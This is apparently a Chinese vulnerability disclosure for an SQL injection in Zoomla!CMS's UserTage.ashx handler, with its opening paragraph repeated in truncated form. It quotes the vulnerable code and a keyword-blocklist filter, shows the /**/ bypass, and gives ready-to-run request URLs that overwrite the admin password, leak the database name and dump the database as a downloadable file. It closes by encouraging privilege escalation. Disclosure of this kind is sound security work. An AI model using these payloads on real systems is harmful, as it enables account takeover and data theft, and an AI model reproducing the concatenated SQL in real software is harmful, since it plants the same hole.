### 简要描述: 问题出现在详细说明中 ### 详细说明: 问题出现在 ``` User\Develop\ashx\UserTage.ashx ``` 代码片段: ``` try { M_Zone_Node MZN = new M_Zone_Node(); B_EditPage B_EP = new B_EditPage(); MZN.NodeID = Convert.ToInt32(nodeid); MZN.UserID = B_U.GetLogin().UserID; string strTemp = style; string[] strStyle = strTemp.Split('|'); if (strStyle != null) { foreach (string str in strStyle) { string[] strLabel = str.Split('^');//对传递的参数进行截取 if (strLabel.Length == 2) { MZN.LabelID = strLabel[0]; MZN.style = strLabel[1]; DataTable dt = B_EP.SelLabelByLabelID(MZN);//判断是否包含 if (dt != null && dt.Rows.Count > 0) { B_EP.UpLabel(MZN);//包含则修改 --问题出现在此 } else { B_EP.AddLabel(MZN);//不包含则添加 } } } } ``` ``` public int UpLabel(M_Zone_Node model) { return Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model)); } //参数被直接带入SQL 问题代码-- "[style]=" + model.style, strSql =...
### 简要描述: 问题出现在详细说明中 ### 详细说明: 问题出现在 ``` User\Develop\ashx\UserTage.ashx ``` 代码片段: ``` try { M_Zone_Node MZN = new M_Zone_Node(); B_EditPage B_EP = new B_EditPage(); MZN.NodeID = Convert.ToInt32(nodeid); MZN.UserID = B_U.GetLogin().UserID; string strTemp = style; string[] strStyle = strTemp.Split('|'); if (strStyle != null) { foreach (string str in strStyle) { string[] strLabel = str.Split('^');//对传递的参数进行截取 if (strLabel.Length == 2) { MZN.LabelID = strLabel[0]; MZN.style = strLabel[1]; DataTable dt = B_EP.SelLabelByLabelID(MZN);//判断是否包含 if (dt != null && dt.Rows.Count > 0) { B_EP.UpLabel(MZN);//包含则修改 --问题出现在此 } else { B_EP.AddLabel(MZN);//不包含则添加 } } } } ``` ``` public int UpLabel(M_Zone_Node model) { return Sql.UpLabel(this.strTableName, "[style]=" + model.style, string.Concat(new object[] { "[UserID]=", model.UserID, " AND [NodeID]=", model.NodeID, " AND [LabelID]=", model.LabelID }), M_Zone_Node.GetParameters(model)); } //参数被直接带入SQL 问题代码-- "[style]=" + model.style, strSql = "UPDATE " + strTableName + " SET " + strSet;//问题代码 strSql = strSql + " WHERE " + strWhere; ``` 那么这里我们构造SQL (1) 这里值得注意的是 先提交( ``` http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222|2^333333 ``` )然后再提交(1)原因在第一段代码中 但是这个地方是有防注入 咱们看一下逐浪的防注入代码 : ``` string str = "and |exec |insert |select |delete |update |count |chr |mid |master |truncate |char |declare "; foreach (string str2 in str.Split(new char[] { '|' })) { if (Str.IndexOf(str2) >= 0) { flag = false; } } ``` 绕过方式 在关键字紧挨的地方加上/**/即可绕过 (2) 修改管理员密码: ``` http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update ZL_Manager set AdminName='admin',AdminPassword='e10adc3949ba59abbe56e057f20f883e' where AdminID=1--|2^333333 ``` (3)获取网站物理路径 然后用管理员账号登陆后台打开 http://192.168.0.103:8885/manage/Common/SystemFinger.aspx [<img src="https://images.seebug.org/upload/201404/11141725e793b36d3e497ca4db3f6120c6702175.png" alt=".png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11141725e793b36d3e497ca4db3f6120c6702175.png) 可得到物理程序路径 G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\ (4)获取数据库 那么执行: http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;update/**/ dbo.ZL_User set Email=(select/**/ db_name()) where UserName='admin'--|2^333333 然后刷新自己资料 [<img src="https://images.seebug.org/upload/201404/111418220ea48588b06d7567b74b598455f3e2a8.png" alt=".png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/111418220ea48588b06d7567b74b598455f3e2a8.png) 得到数据库名称 ZoomLa1.5 (5)备份数据库并下载: ``` http://192.168.0.103:8885/User/Develop/ashx/UserTage.ashx?v2=Addpage&NodeID=1&style=1^222222;backup database/**/ [ZoomLa1.5] to disk='G:\程序发布\Zoomla!CMS2_x1.5\Zoomla!CMS2_x1.5源码\123.rar';--|2^333333 ``` 然后访问http://192.168.0.103:8885/123.rar 即可下载数据库 有人会问 为什么备份成rar 其实是因为有些IIS没有设置bak的MIME 另外可以查看当前用户权限 如果sa的话 也可以备份其他数据库 提权 之类的各自淫荡吧 [<img src="https://images.seebug.org/upload/201404/1114200096e1d9b4e0c7053efe4f477cd9a111a7.png" alt=".png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1114200096e1d9b4e0c7053efe4f477cd9a111a7.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201404/1114200096e1d9b4e0c7053efe4f477cd9a111a7.png" alt=".png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1114200096e1d9b4e0c7053efe4f477cd9a111a7.png) CMS2 V1.5 [<img src="https://images.seebug.org/upload/201404/111426144e96ffb97f1e25303b1af82e3e85135a.png" alt="1.5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/111426144e96ffb97f1e25303b1af82e3e85135a.png) CMS2 V1.4 [<img src="https://images.seebug.org/upload/201404/11142644b7c55db2ebbabe433d09ae8ff931941e.png" alt="1.4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11142644b7c55db2ebbabe433d09ae8ff931941e.png) CMS 6.0 [<img src="https://images.seebug.org/upload/201404/111427045374d6d711a06af51b2fa87df154da18.png" alt="6.0.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/111427045374d6d711a06af51b2fa87df154da18.png) 其他版本 [<img src="https://images.seebug.org/upload/201404/11142731453c3c7fa998f6b4adb6968c6f8d0d4a.png" alt=".png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11142731453c3c7fa998f6b4adb6968c6f8d0d4a.png) 看修改时间 应该其他版本也受影响 主要是没有找到1.0 1.1 1.2 1.3 的资源